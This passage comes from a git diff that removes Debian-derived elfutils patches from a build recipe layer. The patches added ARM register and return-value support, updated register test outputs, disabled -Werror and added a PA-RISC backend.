-+ *type = DW_ATE_unsigned;
-+ name[0] = 'w';
-+ name[1] = 'c';
-+ name[2] = regno - 192 + '0';
-+ namelen = 3;
-+ break;
-+
- case 256 + 0 ... 256 + 9:
-+ /* XXX TODO: Neon also uses those registers and can contain
-+ * both float and integers */
- *setname = "VFP";
- *type = DW_ATE_float;
- *bits = 64;
-diff --git a/backends/arm_retval.c b/backends/arm_retval.c
-index 1c28f01..313e4eb 100644
---- a/backends/arm_retval.c
-+++ b/backends/arm_retval.c
-@@ -48,6 +48,13 @@ static const Dwarf_Op loc_intreg[] =
- #define nloc_intreg 1
- #define nloc_intregs(n) (2 * (n))
-
-+/* f1 */ /* XXX TODO: f0 can also have number 96 if program was compiled with -mabi=aapcs */
-+static const Dwarf_Op loc_fpreg[] =
-+ {
-+ { .atom = DW_OP_reg16 },
-+ };
-+#define nloc_fpreg 1
-+
- /* The return value is a structure and is actually stored in stack space
- passed in a hidden argument by the caller. But, the compiler
- helpfully returns the address of that space in r0. */
-@@ -58,8 +65,9 @@ static const Dwarf_Op loc_aggregate[] =
- #define nloc_aggregate 1
-
-
--int
--arm_return_value_location (Dwarf_Die *functypedie, const Dwarf_Op **locp)
-+static int
-+arm_return_value_location_ (Dwarf_Die *functypedie, const Dwarf_Op **locp,
-+ int soft_float)
- {
- /* Start with the function's type, and get the DW_AT_type attribute,
- which is the type of the return value. */
-@@ -98,6 +106,21 @@ arm_return_value_location (Dwarf_Die *functypedie, const Dwarf_Op **locp)
- else
- return -1;
- }
-+ if (tag == DW_TAG_base_type)
-+ {
-+ Dwarf_Word encoding;
-+ if (dwarf_formudata (dwarf_attr_integrate (typedie, DW_AT_encoding,
-+ &attr_mem), &encoding) != 0)
-+ return -1;
-+
-+ if ((encoding == DW_ATE_float) && !soft_float)
-+ {
-+ *locp = loc_fpreg;
-+ if (size <= 8)
-+ return nloc_fpreg;
-+ goto aggregate;
-+ }
-+ }
- if (size <= 16)
- {
- intreg:
-@@ -106,6 +129,7 @@ arm_return_value_location (Dwarf_Die *functypedie, const Dwarf_Op **locp)
- }
-
- aggregate:
-+ /* XXX TODO sometimes aggregates are returned in r0 (-mabi=aapcs) */
- *locp = loc_aggregate;
- return nloc_aggregate;
- }
-@@ -125,3 +149,18 @@ arm_return_value_location (Dwarf_Die *functypedie, const Dwarf_Op **locp)
- DWARF and might be valid. */
- return -2;
- }
-+
-+/* return location for -mabi=apcs-gnu -msoft-float */
-+int
-+arm_return_value_location_soft (Dwarf_Die *functypedie, const Dwarf_Op **locp)
-+{
-+ return arm_return_value_location_ (functypedie, locp, 1);
-+}
-+
-+/* return location for -mabi=apcs-gnu -mhard-float (current default) */
-+int
-+arm_return_value_location_hard (Dwarf_Die *functypedie, const Dwarf_Op **locp)
-+{
-+ return arm_return_value_location_ (functypedie, locp, 0);
-+}
-+
-diff --git a/backends/libebl_arm.h b/backends/libebl_arm.h
-new file mode 100644
-index 0000000..c00770c
---- /dev/null
-+++ b/backends/libebl_arm.h
-@@ -0,0 +1,9 @@
-+#ifndef _LIBEBL_ARM_H
-+#define _LIBEBL_ARM_H 1
-+
-+#include <libdw.h>
-+
-+extern int arm_return_value_location_soft(Dwarf_Die *, const Dwarf_Op **locp);
-+extern int arm_return_value_location_hard(Dwarf_Die *, const Dwarf_Op **locp);
-+
-+#endif
-diff --git a/libelf/elf.h b/libelf/elf.h
-index 01648bd..05b7e7e 100644
---- a/libelf/elf.h
-+++ b/libelf/elf.h
-@@ -2690,6 +2690,9 @@ enum
- #define EF_ARM_EABI_VER4 0x04000000
- #define EF_ARM_EABI_VER5 0x05000000
-
-+/* EI_OSABI values */
-+#define ELFOSABI_ARM_AEABI 64 /* Contains symbol versioning. */
-+
- /* Additional symbol types for Thumb. */
- #define STT_ARM_TFUNC STT_LOPROC /* A Thumb function. */
- #define STT_ARM_16BIT STT_HIPROC /* A Thumb label. */
-@@ -2707,12 +2710,19 @@ enum
-
- /* Processor specific values for the Phdr p_type field. */
- #define PT_ARM_EXIDX (PT_LOPROC + 1) /* ARM unwind segment. */
-+#define PT_ARM_UNWIND PT_ARM_EXIDX
-
- /* Processor specific values for the Shdr sh_type field. */
- #define SHT_ARM_EXIDX (SHT_LOPROC + 1) /* ARM unwind section. */
- #define SHT_ARM_PREEMPTMAP (SHT_LOPROC + 2) /* Preemption details. */
- #define SHT_ARM_ATTRIBUTES (SHT_LOPROC + 3) /* ARM attributes section. */
-
-+/* Processor specific values for the Dyn d_tag field. */
-+#define DT_ARM_RESERVED1 (DT_LOPROC + 0)
-+#define DT_ARM_SYMTABSZ (DT_LOPROC + 1)
-+#define DT_ARM_PREEMTMAB (DT_LOPROC + 2)
-+#define DT_ARM_RESERVED2 (DT_LOPROC + 3)
-+#define DT_ARM_NUM 4
-
- /* AArch64 relocs. */
-
-@@ -3005,6 +3015,7 @@ enum
- TLS block (LDR, STR). */
- #define R_ARM_TLS_IE12GP 111 /* 12 bit GOT entry relative
- to GOT origin (LDR). */
-+/* 112 - 127 private range */
- #define R_ARM_ME_TOO 128 /* Obsolete. */
- #define R_ARM_THM_TLS_DESCSEQ 129
- #define R_ARM_THM_TLS_DESCSEQ16 129
-diff --git a/tests/run-addrcfi.sh b/tests/run-addrcfi.sh
-index 64fa24d..1c2aa4d 100755
---- a/tests/run-addrcfi.sh
-+++ b/tests/run-addrcfi.sh
-@@ -3554,6 +3554,38 @@ dwarf_cfi_addrframe (.eh_frame): no matching address range
- FPA reg21 (f5): undefined
- FPA reg22 (f6): undefined
- FPA reg23 (f7): undefined
-+ VFP reg64 (s0): undefined
-+ VFP reg65 (s1): undefined
-+ VFP reg66 (s2): undefined
-+ VFP reg67 (s3): undefined
-+ VFP reg68 (s4): undefined
-+ VFP reg69 (s5): undefined
-+ VFP reg70 (s6): undefined
-+ VFP reg71 (s7): undefined
-+ VFP reg72 (s8): undefined
-+ VFP reg73 (s9): undefined
-+ VFP reg74 (s10): undefined
-+ VFP reg75 (s11): undefined
-+ VFP reg76 (s12): undefined
-+ VFP reg77 (s13): undefined
-+ VFP reg78 (s14): undefined
-+ VFP reg79 (s15): undefined
-+ VFP reg80 (s16): undefined
-+ VFP reg81 (s17): undefined
-+ VFP reg82 (s18): undefined
-+ VFP reg83 (s19): undefined
-+ VFP reg84 (s20): undefined
-+ VFP reg85 (s21): undefined
-+ VFP reg86 (s22): undefined
-+ VFP reg87 (s23): undefined
-+ VFP reg88 (s24): undefined
-+ VFP reg89 (s25): undefined
-+ VFP reg90 (s26): undefined
-+ VFP reg91 (s27): undefined
-+ VFP reg92 (s28): undefined
-+ VFP reg93 (s29): undefined
-+ VFP reg94 (s30): undefined
-+ VFP reg95 (s31): undefined
- FPA reg96 (f0): undefined
- FPA reg97 (f1): undefined
- FPA reg98 (f2): undefined
-@@ -3562,7 +3594,66 @@ dwarf_cfi_addrframe (.eh_frame): no matching address range
- FPA reg101 (f5): undefined
- FPA reg102 (f6): undefined
- FPA reg103 (f7): undefined
-- integer reg128 (spsr): undefined
-+ MMX reg104 (wcgr0): undefined
-+ MMX reg105 (wcgr1): undefined
-+ MMX reg106 (wcgr2): undefined
-+ MMX reg107 (wcgr3): undefined
-+ MMX reg108 (wcgr4): undefined
-+ MMX reg109 (wcgr5): undefined
-+ MMX reg110 (wcgr6): undefined
-+ MMX reg111 (wcgr7): undefined
-+ MMX reg112 (wr0): undefined
-+ MMX reg113 (wr1): undefined
-+ MMX reg114 (wr2): undefined
-+ MMX reg115 (wr3): undefined
-+ MMX reg116 (wr4): undefined
-+ MMX reg117 (wr5): undefined
-+ MMX reg118 (wr6): undefined
-+ MMX reg119 (wr7): undefined
-+ MMX reg120 (wr8): undefined
-+ MMX reg121 (wr9): undefined
-+ MMX reg122 (wr10): undefined
-+ MMX reg123 (wr11): undefined
-+ MMX reg124 (wr12): undefined
-+ MMX reg125 (wr13): undefined
-+ MMX reg126 (wr14): undefined
-+ MMX reg127 (wr15): undefined
-+ state reg128 (spsr): undefined
-+ state reg129 (spsr_fiq): undefined
-+ state reg130 (spsr_irq): undefined
-+ state reg131 (spsr_abt): undefined
-+ state reg132 (spsr_und): undefined
-+ state reg133 (spsr_svc): undefined
-+ integer reg144 (r8_usr): undefined
-+ integer reg145 (r9_usr): undefined
-+ integer reg146 (r10_usr): undefined
-+ integer reg147 (r11_usr): undefined
-+ integer reg148 (r12_usr): undefined
-+ integer reg149 (r13_usr): undefined
-+ integer reg150 (r14_usr): undefined
-+ integer reg151 (r8_fiq): undefined
-+ integer reg152 (r9_fiq): undefined
-+ integer reg153 (r10_fiq): undefined
-+ integer reg154 (r11_fiq): undefined
-+ integer reg155 (r12_fiq): undefined
-+ integer reg156 (r13_fiq): undefined
-+ integer reg157 (r14_fiq): undefined
-+ integer reg158 (r13_irq): undefined
-+ integer reg159 (r14_irq): undefined
-+ integer reg160 (r13_abt): undefined
-+ integer reg161 (r14_abt): undefined
-+ integer reg162 (r13_und): undefined
-+ integer reg163 (r14_und): undefined
-+ integer reg164 (r13_svc): undefined
-+ integer reg165 (r14_svc): undefined
-+ MMX reg192 (wc0): undefined
-+ MMX reg193 (wc1): undefined
-+ MMX reg194 (wc2): undefined
-+ MMX reg195 (wc3): undefined
-+ MMX reg196 (wc4): undefined
-+ MMX reg197 (wc5): undefined
-+ MMX reg198 (wc6): undefined
-+ MMX reg199 (wc7): undefined
- VFP reg256 (d0): undefined
- VFP reg257 (d1): undefined
- VFP reg258 (d2): undefined
-diff --git a/tests/run-allregs.sh b/tests/run-allregs.sh
-index 1422bd6..dc0fc99 100755
---- a/tests/run-allregs.sh
-+++ b/tests/run-allregs.sh
-@@ -2672,7 +2672,28 @@ integer registers:
- 13: sp (sp), address 32 bits
- 14: lr (lr), address 32 bits
- 15: pc (pc), address 32 bits
-- 128: spsr (spsr), unsigned 32 bits
-+ 144: r8_usr (r8_usr), signed 32 bits
-+ 145: r9_usr (r9_usr), signed 32 bits
-+ 146: r10_usr (r10_usr), signed 32 bits
-+ 147: r11_usr (r11_usr), signed 32 bits
-+ 148: r12_usr (r12_usr), signed 32 bits
-+ 149: r13_usr (r13_usr), signed 32 bits
-+ 150: r14_usr (r14_usr), signed 32 bits
-+ 151: r8_fiq (r8_fiq), signed 32 bits
-+ 152: r9_fiq (r9_fiq), signed 32 bits
-+ 153: r10_fiq (r10_fiq), signed 32 bits
-+ 154: r11_fiq (r11_fiq), signed 32 bits
-+ 155: r12_fiq (r12_fiq), signed 32 bits
-+ 156: r13_fiq (r13_fiq), signed 32 bits
-+ 157: r14_fiq (r14_fiq), signed 32 bits
-+ 158: r13_irq (r13_irq), signed 32 bits
-+ 159: r14_irq (r14_irq), signed 32 bits
-+ 160: r13_abt (r13_abt), signed 32 bits
-+ 161: r14_abt (r14_abt), signed 32 bits
-+ 162: r13_und (r13_und), signed 32 bits
-+ 163: r14_und (r14_und), signed 32 bits
-+ 164: r13_svc (r13_svc), signed 32 bits
-+ 165: r14_svc (r14_svc), signed 32 bits
- FPA registers:
- 16: f0 (f0), float 96 bits
- 17: f1 (f1), float 96 bits
-@@ -2690,7 +2711,72 @@ FPA registers:
- 101: f5 (f5), float 96 bits
- 102: f6 (f6), float 96 bits
- 103: f7 (f7), float 96 bits
-+MMX registers:
-+ 104: wcgr0 (wcgr0), unsigned 32 bits
-+ 105: wcgr1 (wcgr1), unsigned 32 bits
-+ 106: wcgr2 (wcgr2), unsigned 32 bits
-+ 107: wcgr3 (wcgr3), unsigned 32 bits
-+ 108: wcgr4 (wcgr4), unsigned 32 bits
-+ 109: wcgr5 (wcgr5), unsigned 32 bits
-+ 110: wcgr6 (wcgr6), unsigned 32 bits
-+ 111: wcgr7 (wcgr7), unsigned 32 bits
-+ 112: wr0 (wr0), unsigned 64 bits
-+ 113: wr1 (wr1), unsigned 64 bits
-+ 114: wr2 (wr2), unsigned 64 bits
-+ 115: wr3 (wr3), unsigned 64 bits
-+ 116: wr4 (wr4), unsigned 64 bits
-+ 117: wr5 (wr5), unsigned 64 bits
-+ 118: wr6 (wr6), unsigned 64 bits
-+ 119: wr7 (wr7), unsigned 64 bits
-+ 120: wr8 (wr8), unsigned 64 bits
-+ 121: wr9 (wr9), unsigned 64 bits
-+ 122: wr10 (wr10), unsigned 64 bits
-+ 123: wr11 (wr11), unsigned 64 bits
-+ 124: wr12 (wr12), unsigned 64 bits
-+ 125: wr13 (wr13), unsigned 64 bits
-+ 126: wr14 (wr14), unsigned 64 bits
-+ 127: wr15 (wr15), unsigned 64 bits
-+ 192: wc0 (wc0), unsigned 32 bits
-+ 193: wc1 (wc1), unsigned 32 bits
-+ 194: wc2 (wc2), unsigned 32 bits
-+ 195: wc3 (wc3), unsigned 32 bits
-+ 196: wc4 (wc4), unsigned 32 bits
-+ 197: wc5 (wc5), unsigned 32 bits
-+ 198: wc6 (wc6), unsigned 32 bits
-+ 199: wc7 (wc7), unsigned 32 bits
- VFP registers:
-+ 64: s0 (s0), float 32 bits
-+ 65: s1 (s1), float 32 bits
-+ 66: s2 (s2), float 32 bits
-+ 67: s3 (s3), float 32 bits
-+ 68: s4 (s4), float 32 bits
-+ 69: s5 (s5), float 32 bits
-+ 70: s6 (s6), float 32 bits
-+ 71: s7 (s7), float 32 bits
-+ 72: s8 (s8), float 32 bits
-+ 73: s9 (s9), float 32 bits
-+ 74: s10 (s10), float 32 bits
-+ 75: s11 (s11), float 32 bits
-+ 76: s12 (s12), float 32 bits
-+ 77: s13 (s13), float 32 bits
-+ 78: s14 (s14), float 32 bits
-+ 79: s15 (s15), float 32 bits
-+ 80: s16 (s16), float 32 bits
-+ 81: s17 (s17), float 32 bits
-+ 82: s18 (s18), float 32 bits
-+ 83: s19 (s19), float 32 bits
-+ 84: s20 (s20), float 32 bits
-+ 85: s21 (s21), float 32 bits
-+ 86: s22 (s22), float 32 bits
-+ 87: s23 (s23), float 32 bits
-+ 88: s24 (s24), float 32 bits
-+ 89: s25 (s25), float 32 bits
-+ 90: s26 (s26), float 32 bits
-+ 91: s27 (s27), float 32 bits
-+ 92: s28 (s28), float 32 bits
-+ 93: s29 (s29), float 32 bits
-+ 94: s30 (s30), float 32 bits
-+ 95: s31 (s31), float 32 bits
- 256: d0 (d0), float 64 bits
- 257: d1 (d1), float 64 bits
- 258: d2 (d2), float 64 bits
-@@ -2723,6 +2809,13 @@ VFP registers:
- 285: d29 (d29), float 64 bits
- 286: d30 (d30), float 64 bits
- 287: d31 (d31), float 64 bits
-+state registers:
-+ 128: spsr (spsr), unsigned 32 bits
-+ 129: spsr_fiq (spsr_fiq), unsigned 32 bits
-+ 130: spsr_irq (spsr_irq), unsigned 32 bits
-+ 131: spsr_abt (spsr_abt), unsigned 32 bits
-+ 132: spsr_und (spsr_und), unsigned 32 bits
-+ 133: spsr_svc (spsr_svc), unsigned 32 bits
- EOF
-
- # See run-readelf-mixed-corenote.sh for instructions to regenerate
-diff --git a/tests/run-readelf-mixed-corenote.sh b/tests/run-readelf-mixed-corenote.sh
-index c960f1d..e4bf074 100755
---- a/tests/run-readelf-mixed-corenote.sh
-+++ b/tests/run-readelf-mixed-corenote.sh
-@@ -31,12 +31,11 @@ Note segment of 892 bytes at offset 0x274:
- pid: 11087, ppid: 11063, pgrp: 11087, sid: 11063
- utime: 0.000000, stime: 0.010000, cutime: 0.000000, cstime: 0.000000
- orig_r0: -1, fpvalid: 1
-- r0: 1 r1: -1091672508 r2: -1091672500
-- r3: 0 r4: 0 r5: 0
-- r6: 33728 r7: 0 r8: 0
-- r9: 0 r10: -1225703496 r11: -1091672844
-- r12: 0 sp: 0xbeee64f4 lr: 0xb6dc3f48
-- pc: 0x00008500 spsr: 0x60000010
-+ r0: 1 r1: -1091672508 r2: -1091672500 r3: 0
-+ r4: 0 r5: 0 r6: 33728 r7: 0
-+ r8: 0 r9: 0 r10: -1225703496 r11: -1091672844
-+ r12: 0 sp: 0xbeee64f4 lr: 0xb6dc3f48 pc: 0x00008500
-+ spsr: 0x60000010
- CORE 124 PRPSINFO
- state: 0, sname: R, zomb: 0, nice: 0, flag: 0x00400500
- uid: 0, gid: 0, pid: 11087, ppid: 11063, pgrp: 11087, sid: 11063
---
-2.7.4
-
diff --git a/meta/recipes-devtools/elfutils/files/debian/disable_werror.patch b/meta/recipes-devtools/elfutils/files/debian/disable_werror.patch
deleted file mode 100644
index bd98dae4b2..0000000000
--- a/meta/recipes-devtools/elfutils/files/debian/disable_werror.patch
+++ /dev/null
@@ -1,20 +0,0 @@
-From: Helmut Grohne <helmut@subdivi.de>
-Subject: disable -Werror as it tends to break with new gcc versions
-Bug-Debian: https://bugs.debian.org/886004
-Last-Update: 2018-01-01
-
-Upstream-Status: Pending [from debian]
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
-
-Index: elfutils-0.176/config/eu.am
-===================================================================
---- elfutils-0.176.orig/config/eu.am
-+++ elfutils-0.176/config/eu.am
-@@ -73,7 +73,6 @@ AM_CFLAGS = -std=gnu99 -Wall -Wshadow -W
- -Wold-style-definition -Wstrict-prototypes -Wtrampolines \
- $(LOGICAL_OP_WARNING) $(DUPLICATED_COND_WARNING) \
- $(NULL_DEREFERENCE_WARNING) $(IMPLICIT_FALLTHROUGH_WARNING) \
-- $(if $($(*F)_no_Werror),,-Werror) \
- $(if $($(*F)_no_Wunused),,-Wunused -Wextra) \
- $(if $($(*F)_no_Wstack_usage),,$(STACK_USAGE_WARNING)) \
- $(if $($(*F)_no_Wpacked_not_aligned),-Wno-packed-not-aligned,) \
diff --git a/meta/recipes-devtools/elfutils/files/debian/hppa_backend.diff b/meta/recipes-devtools/elfutils/files/debian/hppa_backend.diff
deleted file mode 100644
index 4460d582c7..0000000000
--- a/meta/recipes-devtools/elfutils/files/debian/hppa_backend.diff
+++ /dev/null
@@ -1,831 +0,0 @@
-From 8efad9105b38985bea373416ae8fcacf21d1d129 Mon Sep 17 00:00:00 2001
-From: Hongxu Jia <hongxu.jia@windriver.com>
-Date: Wed, 21 Aug 2019 15:44:18 +0800
-Subject: [PATCH] hppa backend
-
-Rebase to 0.177
-Upstream-Status: Pending [from debian]
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
----
- backends/Makefile.am | 7 +-
- backends/libebl_parisc.h | 9 ++
- backends/parisc_init.c | 73 ++++++++++++++++
- backends/parisc_regs.c | 159 ++++++++++++++++++++++++++++++++++
- backends/parisc_reloc.def | 128 ++++++++++++++++++++++++++++
- backends/parisc_retval.c | 213 ++++++++++++++++++++++++++++++++++++++++++++++
- backends/parisc_symbol.c | 113 ++++++++++++++++++++++++
- libelf/elf.h | 11 +++
- 8 files changed, 711 insertions(+), 2 deletions(-)
- create mode 100644 backends/libebl_parisc.h
- create mode 100644 backends/parisc_init.c
- create mode 100644 backends/parisc_regs.c
- create mode 100644 backends/parisc_reloc.def
- create mode 100644 backends/parisc_retval.c
- create mode 100644 backends/parisc_symbol.c
-
-diff --git a/backends/Makefile.am b/backends/Makefile.am
-index 175468f..91a38e2 100644
---- a/backends/Makefile.am
-+++ b/backends/Makefile.am
-@@ -33,16 +33,19 @@ AM_CPPFLAGS += -I$(top_srcdir)/libebl -I$(top_srcdir)/libasm \
-
-
- modules = i386 sh x86_64 ia64 alpha arm aarch64 sparc ppc ppc64 s390 \
-- tilegx m68k bpf riscv csky
-+ tilegx m68k bpf riscv csky parisc
- libebl_pic = libebl_i386_pic.a libebl_sh_pic.a libebl_x86_64_pic.a \
- libebl_ia64_pic.a libebl_alpha_pic.a libebl_arm_pic.a \
- libebl_aarch64_pic.a libebl_sparc_pic.a libebl_ppc_pic.a \
- libebl_ppc64_pic.a libebl_s390_pic.a libebl_tilegx_pic.a \
- libebl_m68k_pic.a libebl_bpf_pic.a libebl_riscv_pic.a \
-- libebl_csky_pic.a
-+ libebl_csky_pic.a libebl_parisc_pic.a
- noinst_LIBRARIES = $(libebl_pic)
- noinst_DATA = $(libebl_pic:_pic.a=.so)
-
-+parisc_SRCS = parisc_init.c parisc_symbol.c parisc_regs.c parisc_retval.c
-+libebl_parisc_pic_a_SOURCES = $(parisc_SRCS)
-+am_libebl_parisc_pic_a_OBJECTS = $(parisc_SRCS:.c=.os)
-
- libelf = ../libelf/libelf.so
- libdw = ../libdw/libdw.so
-diff --git a/backends/libebl_parisc.h b/backends/libebl_parisc.h
-new file mode 100644
-index 0000000..f473b79
---- /dev/null
-+++ b/backends/libebl_parisc.h
-@@ -0,0 +1,9 @@
-+#ifndef _LIBEBL_HPPA_H
-+#define _LIBEBL_HPPA_H 1
-+
-+#include <libdw.h>
-+
-+extern int parisc_return_value_location_32(Dwarf_Die *, const Dwarf_Op **locp);
-+extern int parisc_return_value_location_64(Dwarf_Die *, const Dwarf_Op **locp);
-+
-+#endif
-diff --git a/backends/parisc_init.c b/backends/parisc_init.c
-new file mode 100644
-index 0000000..f1e401c
---- /dev/null
-+++ b/backends/parisc_init.c
-@@ -0,0 +1,73 @@
-+/* Initialization of PA-RISC specific backend library.
-+ Copyright (C) 2002, 2005, 2006 Red Hat, Inc.
-+ This file is part of Red Hat elfutils.
-+ Written by Ulrich Drepper <drepper@redhat.com>, 2002.
-+
-+ Red Hat elfutils is free software; you can redistribute it and/or modify
-+ it under the terms of the GNU General Public License as published by the
-+ Free Software Foundation; version 2 of the License.
-+
-+ Red Hat elfutils is distributed in the hope that it will be useful, but
-+ WITHOUT ANY WARRANTY; without even the implied warranty of
-+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+ General Public License for more details.
-+
-+ You should have received a copy of the GNU General Public License along
-+ with Red Hat elfutils; if not, write to the Free Software Foundation,
-+ Inc., 51 Franklin Street, Fifth Floor, Boston MA 02110-1301 USA.
-+
-+ Red Hat elfutils is an included package of the Open Invention Network.
-+ An included package of the Open Invention Network is a package for which
-+ Open Invention Network licensees cross-license their patents. No patent
-+ license is granted, either expressly or impliedly, by designation as an
-+ included package. Should you wish to participate in the Open Invention
-+ Network licensing program, please visit www.openinventionnetwork.com
-+ <http://www.openinventionnetwork.com>. */
-+
-+#ifdef HAVE_CONFIG_H
-+# include <config.h>
-+#endif
-+
-+#define BACKEND parisc_
-+#define RELOC_PREFIX R_PARISC_
-+#include "libebl_CPU.h"
-+#include "libebl_parisc.h"
-+
-+/* This defines the common reloc hooks based on parisc_reloc.def. */
-+#include "common-reloc.c"
-+
-+
-+const char *
-+parisc_init (Elf *elf __attribute__ ((unused)),
-+ GElf_Half machine __attribute__ ((unused)),
-+ Ebl *eh,
-+ size_t ehlen)
-+{
-+ int pa64 = 0;
-+
-+ /* Check whether the Elf_BH object has a sufficent size. */
-+ if (ehlen < sizeof (Ebl))
-+ return NULL;
-+
-+ if (elf) {
-+ GElf_Ehdr ehdr_mem;
-+ GElf_Ehdr *ehdr = gelf_getehdr (elf, &ehdr_mem);
-+ if (ehdr && (ehdr->e_flags & EF_PARISC_WIDE))
-+ pa64 = 1;
-+ }
-+ /* We handle it. */
-+ eh->name = "PA-RISC";
-+ parisc_init_reloc (eh);
-+ HOOK (eh, reloc_simple_type);
-+ HOOK (eh, machine_flag_check);
-+ HOOK (eh, symbol_type_name);
-+ HOOK (eh, segment_type_name);
-+ HOOK (eh, section_type_name);
-+ HOOK (eh, register_info);
-+ if (pa64)
-+ eh->return_value_location = parisc_return_value_location_64;
-+ else
-+ eh->return_value_location = parisc_return_value_location_32;
-+
-+ return MODVERSION;
-+}
-diff --git a/backends/parisc_regs.c b/backends/parisc_regs.c
-new file mode 100644
-index 0000000..3895f8e
---- /dev/null
-+++ b/backends/parisc_regs.c
-@@ -0,0 +1,159 @@
-+/* Register names and numbers for PA-RISC DWARF.
-+ Copyright (C) 2005, 2006 Red Hat, Inc.
-+ This file is part of Red Hat elfutils.
-+
-+ Red Hat elfutils is free software; you can redistribute it and/or modify
-+ it under the terms of the GNU General Public License as published by the
-+ Free Software Foundation; version 2 of the License.
-+
-+ Red Hat elfutils is distributed in the hope that it will be useful, but
-+ WITHOUT ANY WARRANTY; without even the implied warranty of
-+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+ General Public License for more details.
-+
-+ You should have received a copy of the GNU General Public License along
-+ with Red Hat elfutils; if not, write to the Free Software Foundation,
-+ Inc., 51 Franklin Street, Fifth Floor, Boston MA 02110-1301 USA.
-+
-+ Red Hat elfutils is an included package of the Open Invention Network.
-+ An included package of the Open Invention Network is a package for which
-+ Open Invention Network licensees cross-license their patents. No patent
-+ license is granted, either expressly or impliedly, by designation as an
-+ included package. Should you wish to participate in the Open Invention
-+ Network licensing program, please visit www.openinventionnetwork.com
-+ <http://www.openinventionnetwork.com>. */
-+
-+#ifdef HAVE_CONFIG_H
-+# include <config.h>
-+#endif
-+
-+#include <string.h>
-+#include <dwarf.h>
-+
-+#define BACKEND parisc_
-+#include "libebl_CPU.h"
-+
-+ssize_t
-+parisc_register_info (Ebl *ebl, int regno, char *name, size_t namelen,
-+ const char **prefix, const char **setname,
-+ int *bits, int *type)
-+{
-+ int pa64 = 0;
-+
-+ if (ebl->elf) {
-+ GElf_Ehdr ehdr_mem;
-+ GElf_Ehdr *ehdr = gelf_getehdr (ebl->elf, &ehdr_mem);
-+ if (ehdr->e_flags & EF_PARISC_WIDE)
-+ pa64 = 1;
-+ }
-+
-+ int nregs = pa64 ? 127 : 128;
-+
-+ if (name == NULL)
-+ return nregs;
-+
-+ if (regno < 0 || regno >= nregs || namelen < 6)
-+ return -1;
-+
-+ *prefix = "%";
-+
-+ if (regno < 32)
-+ {
-+ *setname = "integer";
-+ *type = DW_ATE_signed;
-+ if (pa64)
-+ {
-+ *bits = 64;
-+ }
-+ else
-+ {
-+ *bits = 32;
-+ }
-+ }
-+ else if (regno == 32)
-+ {
-+ *setname = "special";
-+ if (pa64)
-+ {
-+ *bits = 6;
-+ }
-+ else
-+ {
-+ *bits = 5;
-+ }
-+ *type = DW_ATE_unsigned;
-+ }
-+ else
-+ {
-+ *setname = "FPU";
-+ *type = DW_ATE_float;
-+ if (pa64)
-+ {
-+ *bits = 64;
-+ }
-+ else
-+ {
-+ *bits = 32;
-+ }
-+ }
-+
-+ if (regno < 33) {
-+ switch (regno)
-+ {
-+ case 0 ... 9:
-+ name[0] = 'r';
-+ name[1] = regno + '0';
-+ namelen = 2;
-+ break;
-+ case 10 ... 31:
-+ name[0] = 'r';
-+ name[1] = regno / 10 + '0';
-+ name[2] = regno % 10 + '0';
-+ namelen = 3;
-+ break;
-+ case 32:
-+ *prefix = NULL;
-+ name[0] = 'S';
-+ name[1] = 'A';
-+ name[2] = 'R';
-+ namelen = 3;
-+ break;
-+ }
-+ }
-+ else {
-+ if (pa64 && ((regno - 72) % 2)) {
-+ *setname = NULL;
-+ return 0;
-+ }
-+
-+ switch (regno)
-+ {
-+ case 72 + 0 ... 72 + 11:
-+ name[0] = 'f';
-+ name[1] = 'r';
-+ name[2] = (regno + 8 - 72) / 2 + '0';
-+ namelen = 3;
-+ if ((regno + 8 - 72) % 2) {
-+ name[3] = 'R';
-+ namelen++;
-+ }
-+ break;
-+ case 72 + 12 ... 72 + 55:
-+ name[0] = 'f';
-+ name[1] = 'r';
-+ name[2] = (regno + 8 - 72) / 2 / 10 + '0';
-+ name[3] = (regno + 8 - 72) / 2 % 10 + '0';
-+ namelen = 4;
-+ if ((regno + 8 - 72) % 2) {
-+ name[4] = 'R';
-+ namelen++;
-+ }
-+ break;
-+ default:
-+ *setname = NULL;
-+ return 0;
-+ }
-+ }
-+ name[namelen++] = '\0';
-+ return namelen;
-+}
-diff --git a/backends/parisc_reloc.def b/backends/parisc_reloc.def
-new file mode 100644
-index 0000000..1f875ba
---- /dev/null
-+++ b/backends/parisc_reloc.def
-@@ -0,0 +1,128 @@
-+/* List the relocation types for PA-RISC. -*- C -*-
-+ Copyright (C) 2005 Red Hat, Inc.
-+ This file is part of Red Hat elfutils.
-+
-+ Red Hat elfutils is free software; you can redistribute it and/or modify
-+ it under the terms of the GNU General Public License as published by the
-+ Free Software Foundation; version 2 of the License.
-+
-+ Red Hat elfutils is distributed in the hope that it will be useful, but
-+ WITHOUT ANY WARRANTY; without even the implied warranty of
-+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+ General Public License for more details.
-+
-+ You should have received a copy of the GNU General Public License along
-+ with Red Hat elfutils; if not, write to the Free Software Foundation,
-+ Inc., 51 Franklin Street, Fifth Floor, Boston MA 02110-1301 USA.
-+
-+ Red Hat elfutils is an included package of the Open Invention Network.
-+ An included package of the Open Invention Network is a package for which
-+ Open Invention Network licensees cross-license their patents. No patent
-+ license is granted, either expressly or impliedly, by designation as an
-+ included package. Should you wish to participate in the Open Invention
-+ Network licensing program, please visit www.openinventionnetwork.com
-+ <http://www.openinventionnetwork.com>. */
-+
-+/* NAME, REL|EXEC|DYN */
-+
-+RELOC_TYPE (NONE, EXEC|DYN)
-+RELOC_TYPE (DIR32, REL|EXEC|DYN)
-+RELOC_TYPE (DIR21L, REL|EXEC|DYN)
-+RELOC_TYPE (DIR17R, REL)
-+RELOC_TYPE (DIR17F, REL)
-+RELOC_TYPE (DIR14R, REL|DYN)
-+RELOC_TYPE (PCREL32, REL)
-+RELOC_TYPE (PCREL21L, REL)
-+RELOC_TYPE (PCREL17R, REL)
-+RELOC_TYPE (PCREL17F, REL)
-+RELOC_TYPE (PCREL14R, REL|EXEC)
-+RELOC_TYPE (DPREL21L, REL)
-+RELOC_TYPE (DPREL14WR, REL)
-+RELOC_TYPE (DPREL14DR, REL)
-+RELOC_TYPE (DPREL14R, REL)
-+RELOC_TYPE (GPREL21L, 0)
-+RELOC_TYPE (GPREL14R, 0)
-+RELOC_TYPE (LTOFF21L, REL)
-+RELOC_TYPE (LTOFF14R, REL)
